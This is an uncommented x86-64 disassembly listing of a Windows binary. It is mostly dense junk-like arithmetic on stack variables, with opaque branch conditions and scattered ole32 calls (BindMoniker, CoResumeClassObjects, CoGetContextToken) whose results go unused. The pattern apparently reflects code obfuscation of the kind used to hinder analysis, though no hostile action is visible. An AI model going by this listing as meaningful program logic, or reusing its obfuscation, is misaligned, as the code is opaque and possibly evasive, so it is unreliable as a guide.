mov dword [0x140178e6c], eax
cmp dword [rsp + 0x29b4], 0x2472
jb 0x140008860
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
movsx eax, word [0x140178e70]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x860], ax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x858]
sub eax, ecx
mov word [rsp + 0x86c], ax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2970], eax
mov eax, dword [rsp + 0x2908]
mov rcx, qword [rsp + 0x4b98]
mov qword [rsp + 0x4d10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b78]
sar rax, cl
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4aa0], rax
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
shl eax, cl
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x29b4]
sub eax, 2
mov dword [rsp + 0x29b4], eax
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b88]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2970], eax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178e70], ax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x50]
and eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movsx eax, word [rsp + 0x870]
movsx ecx, word [rsp + 0x874]
add eax, ecx
mov word [rsp + 0x860], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
jmp 0x140008452
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x4d18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d18]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x870]
shl eax, cl
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x86c]
sub eax, ecx
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x4aa0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178e68], ax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
movsx eax, word [rsp + 0x874]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x864], ax
movzx eax, byte [rsp + 0x50]
movzx ecx, byte [rsp + 0x54]
or eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x2970]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29cc]
sub eax, 0xa
mov dword [rsp + 0x29cc], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14017a058], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b80]
mov qword [rsp + 0x4d20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d20]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x4ce8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x868], ax
movsx eax, word [rsp + 0x874]
movsx ecx, word [rsp + 0x870]
and eax, ecx
mov word [rsp + 0x860], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
cmp dword [rsp + 0x29cc], 0x3398
ja 0x140008881
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x4b70]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140008ddf
call qword [sym.imp.ole32.dll_CoResumeClassObjects]
mov dword [rsp + 0x29ac], eax
movzx r9d, word [rsp + 0x870]
mov rax, qword [rsp + 0x4ac0]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x4b30]
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rax]
call fcn.1400fbda0
nop
jmp 0x140008e79
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4b30]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4aa0]
mov rdx, qword [rsp + 0x4ac0]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x140008e79
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x870]
and eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
lea r9, [rsp + 0x4b78]
lea r8, [rsp + 0x16338]
mov edx, 0x46
lea rcx, [rsp + 0x4ac8]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x29d4], eax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov rdx, qword [rsp + 0x4b90]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x140008f70
movzx eax, word [rsp + 0x86c]
mov dword [rsp + 0x29d8], eax
cmp dword [rsp + 0x29d8], 0x5b4
je 0x140008ecb
jmp 0x140008f07
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov word [rsp + 0x86c], ax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
jmp 0x140008f42
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x29dc], eax
mov eax, dword [rsp + 0x28cc]
mov dword [0x14017a060], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4b30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov dword [rsp + 0x29e0], 0xc78e
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
jmp 0x140008f85
lea rcx, [rsp + 0x29dc]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x295c], eax
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x29e4], eax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x4d28], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d30]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4ce8]
mov rdx, qword [rsp + 0x4c68]
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x140008fff
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x56], al
jmp 0x140009093
mov eax, dword [rsp + 0x2970]
mov dword [rsp + 0x29e8], eax
cmp dword [rsp + 0x29e8], 0
je 0x140009026
cmp dword [rsp + 0x29e8], 0x2dda
je 0x14000906e
jmp 0x140009093
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x56], al
lea rax, [rsp + 0x86c]
mov qword [rsp + 0x4d38], rax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x86c], ax
jmp 0x140009093
movzx r8d, word [rsp + 0x868]
mov rax, qword [rsp + 0x4d28]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rax]
call fcn.1400fb900
nop
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
movzx ecx, byte [rsp + 0x50]
mov rdx, qword [rsp + 0x4c58]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140009170
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x29dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x870]
movsx edx, word [rsp + 0x860]
add ecx, edx
cmp eax, ecx
jl 0x14000916e
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov byte [rsp + 0x29ec], al
cmp byte [rsp + 0x29ec], 0xfe
je 0x140009127
jmp 0x14000914a
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4aa0], rax
jmp 0x14000916e
movzx r8d, word [0x140178e70]
mov rax, qword [rsp + 0x4be0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rax]
call fcn.1400fb900
nop
jmp 0x1400091e6
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2908]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400091e6
lea r9, [rsp + 0x4c80]
lea r8, [rsp + 0x16328]
mov edx, 0x66
lea rcx, [rsp + 0x53]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b88], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x29e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
movsx eax, word [0x140178e70]
movsx ecx, word [rsp + 0x870]
shl eax, cl
mov word [rsp + 0x874], ax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
and eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14017a060], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x864], ax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
shl eax, cl
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4aa0]
shr rax, cl
mov qword [0x140178e78], rax
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x28ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29dc], eax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x874]
sub eax, ecx
mov word [rsp + 0x870], ax
mov eax, dword [rsp + 0x2928]
add eax, 0x79
mov dword [rsp + 0x2928], eax
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x86c]
add eax, ecx
mov word [rsp + 0x85c], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x4ba8]
mov qword [rsp + 0x4d40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d40]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4aa0], rax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2970]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x29c4], eax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x874]
xor eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
and eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov qword [0x14017a058], rax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28cc], eax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x28bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
movsx eax, word [rsp + 0x860]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x868], ax
movsx eax, word [rsp + 0x874]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
or eax, ecx
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4d48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d48]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140178e70], ax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [0x14017a058]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
cmp dword [rsp + 0x2928], 0x748c
jb 0x1400091e6
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x53]
movzx edx, byte [rsp + 0x54]
sub ecx, edx
cmp eax, ecx
jl 0x140009788
mov eax, dword [rsp + 0x28ac]
mov dword [rsp + 0x29f0], eax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x4d50], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
jmp 0x1400097e3
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movsx eax, word [rsp + 0x868]
